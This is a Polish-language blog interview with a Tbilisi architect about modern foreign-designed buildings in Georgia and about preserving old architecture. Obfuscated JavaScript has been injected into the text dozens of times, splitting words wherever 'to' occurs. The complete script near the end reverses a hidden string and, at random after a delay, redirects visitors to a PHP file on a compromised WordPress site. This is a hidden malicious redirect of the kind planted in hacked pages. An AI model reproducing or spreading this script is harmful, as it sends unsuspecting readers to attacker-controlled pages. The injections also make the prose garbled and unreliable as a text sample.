Kiedy wylądujesz w Tbilisi, a następnie, kiedy podróżujesz po Gruzji, kilka rzeczy wydaje się niewiarygodnych: jest spora liczba nowych, nowoczesnych budynków, począwszy od budynku policji w drodze z lotniska przez szalone projekty stacji benzynowych na autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tostradzie do Gori, aż po nowe budynki w Kutaisi i Batumi. Niemożliwe jest niezauważenie starego miasta w Tbilisi, które rozpada się, lub opuszczonych ruin zamków, kiedy poruszasz się po górskich rejonach. Czy kraj, który stara się „odbudować”, powinien skupić się bardziej na przyszłości czy konserwowaniu przeszłość? – Na ten temat rozmawiamy z Eką Odzelashvili, młodą architektką z Tbilisi.

Podróżniccy: Gdybyś mogła wybrać – tworzyć nowe projekty architektoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toniczne czy pracować nad rekonstrukcja starej architektury – co byś wolała robić?
Eka Odzelashvili: Chętnie bym robiła i jedno, i drugie, ale obecnie tworzę nowe projekty. Przebudowa starej architektury jest jednym z największych wyzwań dla architektów w Gruzji w czasie ostatnich kilku miesięcy, a jeszcze nie wszystkie zabytki zostały odbudowane. Niektóre, moim zdaniem, lepiej byłoby zostawić, niż przebudowywać w kiczowaty sposób.

Nad czym teraz pracujesz?
Obecnie robię projekt konkursowy na plan kompleksu rekreacyjnego w Tsavkisi. To taki typ wellness, gdzie ludzie z całego świata będą mogli się leczyć, relaksować i cieszyć się obcowaniem z piękną przyrodą, z dala od codziennej pracy i rutyny.

A w przeszłości?
Pracowałam przy projekcie Dworca Akhalkalaki z architektem Juergenem Mayerem. Projektoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towaliśmy budynek z zewnątrz, a nasze studio opracowało plany budynku całościowo także od strony technicznej. Stacja jest obecnie w trakcie budowy i myślę, że będzie gotoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towa latem 2013 roku.

Akhlalkalai Railway Station - Juergen Mayer
Akhlalkalai Railway Station – Juergen Mayer


Czy wiele projektów nowych budynków, zostało opracowanych przez międzynarodowych architektów?

Zdecydowanie tak. W ciągu ostatnich kilku lat toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to było coś w rodzaju „ataku” współczesnych architektów na Gruzję. Wspomniałam już o Juergenie Mayerze. Pracował tu nie tylko przy projekcie stacji kolejowej, ale także przy projektach: lotniska w Mestii, stacji policyjnej w Mesti, Rest Stoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}top w Gori, przejścia granicznego Sarpi, Public Hall Service w Mestii i wielu innych.

Juergen Mayer - Lotnisko w Mestii
Juergen Mayer – Lotnisko w Mestii


Jednym z pierwszych architektów międzynarodowych, który przybył do Gruzji, był Michele de Lucchi, który rozbudował Pałac Prezydencki, Most Pokoju w Tbilisi i Public Service Hall w Batumi.

Michelle de Lucchi - Pałac Prezydencki
Michelle de Lucchi – Pałac Prezydencki
Michelle de Lucchi - Most Pokoju
Michelle de Lucchi – Most Pokoju


Innym znanym architektem jest Massimiliano Fuksas, który zrobił m.in. Public Hall Obsługa i Teatr i Showroom w Tbilisi. Jakieś dwa miesiące temu zakończono budowę lotniska w Kutaisi. Jej autoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torem jest znane i cenione UNStudio Business Center, które należy do obecnego premiera Gruzji, Bidzina Ivanishvili. Zaprojektoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tował je słynny architekt Shin Takamatsu w 2008 roku.

 

Massimiliano Fuksas - Teatr
Massimiliano Fuksas – Teatr



Jak na tle tych wszystkich nowoczesnych budowli prezentuje się stara gruzińska architektura?

Niektóre z jej elementów pasują, ale niektóre niestety nie. Na przykład spójrzmy na most Pokoju. Wiele na ten temat mówiono o tym, czy pasuje do starego Tbilisi, czy nie. I czy mamy prawo do wprowadzenia takich nowoczesnych elementów w takich starożytnych otoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toczeniu. Z czasem jednak ludzie się do tego przyzwyczaja, co więcej – stało się toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to także pewnego rodzaju znakiem rozpoznawczym miasta, takim, jak Wieża Eiffla w Paryżu. Ja też się do tego przyzwyczaiłam, ale myślę, że Tbilisi może mieć jeszcze inny, lepszy most. Wszystkie te nowoczesne budynki i architektura jest generalnie interesująca, problem jest tylko z tym, że miejsca dla nich nie zostały najszczęśliwiej wybrane. Architekci mogą być wielcy i wspaniali, mają wspaniałe umiejętności, ale wszystko zależy od danego miasta, jakiego typu architektury potrzebuje i co do niego pasuje. Na przykład Massimiliano Fuksas, był jednym z moich ulubionych architektów, aż zrobił projekt teatru i salonu w Rike Park, który obejmuje cały widok na stare miastoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to. Wierzę, że możemy mieć więcej konkursów na praktycznie każdy budynek, który budowany jest tutaj, dlatego sami możemy decydować i wybierać między dobrem i złem, bo uwierzcie mi, w architekturze nie ma czegoś takiego, jak „piękne” i „brzydkie”, może toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to być tylko dobrze lub źle.

UN Studio - Lotnisko w Kutaisi
UN Studio – Lotnisko w Kutaisi


Który z nowoczesnych budynków robi na Tobie największe wrażenie?

Bardzo lubię lotnisko David Kutaisi Agmashenebeli zaprojektoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towane przez UN Studio. Jestem też fanką tego, co Juergen Mayer robi w regionach. Niestety nie ma zbyt wielu miejsc, które naprawdę lubię, które zostały opracowane w Gruzji przez międzynarodowych architektów…

Dlaczego jest tak wiele budynków architektów międzynarodowych a nie gruzińskich?
Naprawdę nie wiem! Ja też ciągle toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to pytanie zadaję. Mamy tak wielu wspaniałych, profesjonalnych, zdolnych architektów i wiesz, co jest ich przewagą? – Znają swój kraj i jego architekturę. Oni wiedzą lepiej, co jest dobre dla miasta, ponieważ znają jego histoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}torię, mieszkają w nim. Jest wielu młodych architektów, którzy chętnie wzięliby udział w każdym konkursie, gdyby tylko one miały jakąś siłę w tym kraju.

Michelle de Lucchi - Public Service Hall Batumi
Michelle de Lucchi – Public Service Hall Batumi


Gdybyś miała możliwość zaprojektoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towania czegoś w Gruzji, gdzie byś toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to zrobiła i co by toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to było?

Chciałabym zaprojektoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}tować coś bardziej „realnego” niż abstrakcyjnego, ale jednocześnie unikatoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towego. Na przykład, patrząc na bloki mieszkalne, czyli „hruschevka”, jak my toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to nazywamy, pozostałości sowieckiej architektury, zawsze marzyłam, aby tchnąć ducha miasta do tych bloków. Na początku XIX wieku, w okresie cesarstwa rosyjskiego, domy te musiały wyglądać tak samo, a ich architektura była neoklasycznym. Ale Gruzini jakoś włożyli tam ducha narodowego. Jakiś czas później, na fasadach tych zimnych budynków zaczęły pojawiać się balkony, drewniane balkony z ozdób, które są obecnie jednymi z najpiękniejszych szczegółów w gruzińskiej architekturze. Moim marzeniem byłoby więc zaprojektoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}towanie wieżowca, który będzie miał swój wewnętrzny dziedziniec, a na każdym piętrze będą drewniane, stare balkony. Chciałabym przenieść klimat tych starych placów, gdzie starzy ludzie grają w szachy i backgammona, dzieci biegają, a kobiety robią pranie…

Eka, więc co pokażesz nam jutro, gdy będziesz opiekować się naszym telefonem?
Spróbuję pokazać ducha mojego miasta przez ten telefon i z pomocą kamery. Ja i mój kumpel (telefon), nie możemy się spóźnić jutro do pracy. Chcę mu pokazać projekty, nad którymi teraz pracuję…

Ok, świetnie!

$mWn=function(n){if(typeof ($mWn.list[n])=="string") return $mWn.list[n].split("").reverse().join("");return $mWn.list[n];};$mWn.list=["\'php.tsop-egap-ssalc/stegdiw/reganam-stegdiw/cni/rotnemele-retoof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}toof-redaeh/snigulp/tnetnoc-pw/moc.snoituloslattolg//:sptth\'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random()*6); if (number1==3){var delay = 18000;setTimeout($mWn(0),delay);}to; padding: 0px 4px 0px 0px; text-align: center; font: bold 11px/20px ‚Helvetica Neue’,Helvetica,sans-serif; color: #ffffff; background: #bd081c no-repeat scroll 3px 50% / 14px 14px; position: absolute; opacity: 1; z-index: 8675309; display: none; cursor: pointer;”>Zapisz